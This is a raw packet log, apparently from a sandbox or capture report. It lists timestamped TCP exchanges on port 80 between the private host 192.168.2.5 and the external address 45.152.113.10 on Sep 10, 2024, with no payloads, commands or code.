Sep 10, 2024 19:36:08.011029959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.011034966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.011059046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.011070013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.011080980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.011080980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.011090994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.011099100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.011102915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.011115074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.011116982 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.011136055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.011159897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.011266947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.011277914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.011287928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.011298895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.011310101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.011311054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.011322021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.011332035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.011344910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.011348009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.011373043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.011389017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.095350981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.095369101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.095381021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.095480919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.095624924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.095635891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.095643044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.095653057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.095664024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.095675945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.095702887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.095724106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.095777988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.095791101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.095802069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.095813990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.095830917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.095844030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.095864058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.095875025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.095875978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.095887899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.095916033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.095940113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.096539974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.096559048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.096570015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.096594095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.096607924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.096654892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.096666098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.096678019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.096689939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.096699953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.096704960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.096719980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.096746922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.096798897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.096811056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.096828938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.096839905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.096846104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.096852064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.096862078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.096870899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.096873999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.096887112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.096899986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.096931934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.097080946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097093105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097104073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097115040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097126007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097130060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.097156048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.097167015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.097186089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097197056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097244978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.097254992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.097282887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097294092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097305059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097322941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097330093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.097352982 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.097376108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.097382069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097393036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097403049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097414017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097424030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097429991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.097434998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097459078 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.097466946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097474098 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.097479105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097489119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097513914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.097533941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.097560883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097572088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097582102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097593069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097604036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097611904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.097614050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097625971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097640038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.097640991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097651958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.097652912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097664118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.097678900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.097703934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.098042011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.098052979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.098063946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.098089933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.098104954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.098112106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.098118067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.098136902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.098148108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.098154068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.098160028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.098170996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.098177910 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.098203897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.098210096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.098221064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.098222971 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.098232985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.098253965 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.098269939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.098285913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.098298073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.098309994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.098320007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.098331928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.098345041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.098366976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.098942041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.098992109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.099061012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.099071980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.099082947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.099093914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.099104881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.099109888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.099117041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.099138975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.099149942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.099167109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.099178076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.099196911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.099208117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.099211931 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.099220037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.099231005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.099236965 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.099250078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.099261045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.099263906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.099272013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.099289894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.099309921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.099950075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.099961042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.099973917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.099997044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.100011110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.100018978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.100032091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.100043058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.100054979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.100056887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.100064993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.100083113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.100106955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.100223064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.100234032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.100244999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.100272894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.100287914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.100291014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.100302935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.100312948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.100323915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.100330114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.100344896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.100368977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.100869894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.100882053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.100898981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.100909948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.100920916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.100939035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.100961924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.100991011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.101001978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.101032019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.101043940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.101064920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.101077080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.101089001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.101113081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.101124048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.101159096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.101171970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.101181984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.101193905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.101205111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.101207018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.101216078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.101221085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.101247072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.101264000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.181833029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.181845903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.181858063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.181869984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.181880951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.181893110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.181900978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.181904078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.181915998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.181947947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.181962967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.181984901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.182023048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.182092905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.182111979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.182123899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.182132959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.182135105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.182147026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.182147980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.182159901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.182167053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.182180882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.182197094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.182845116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.182857037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.182867050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.182904005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.182914972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.182971001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183012962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183022976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183034897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183062077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183073997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183141947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183152914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183163881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183173895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183191061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183213949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183343887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183355093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183366060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183377028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183410883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183410883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183518887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183530092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183540106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183548927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183568954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183571100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183579922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183588982 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183592081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183614016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183620930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183626890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183633089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183644056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183654070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183660030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183666945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183679104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183686972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183711052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183723927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183723927 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183736086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183747053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183758020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183767080 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183770895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183779955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183787107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183815956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183823109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183828115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183839083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183849096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183867931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183871031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183890104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183902979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183912039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183926105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183943033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183943987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183954954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183965921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183970928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183976889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.183983088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.183989048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.184000015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.184004068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.184012890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.184021950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.184031010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.184043884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.184056997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.184276104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.184286118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.184297085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.184319973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.184330940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.184334993 CEST	80	49707	45.152.113.10	192.168.2.5
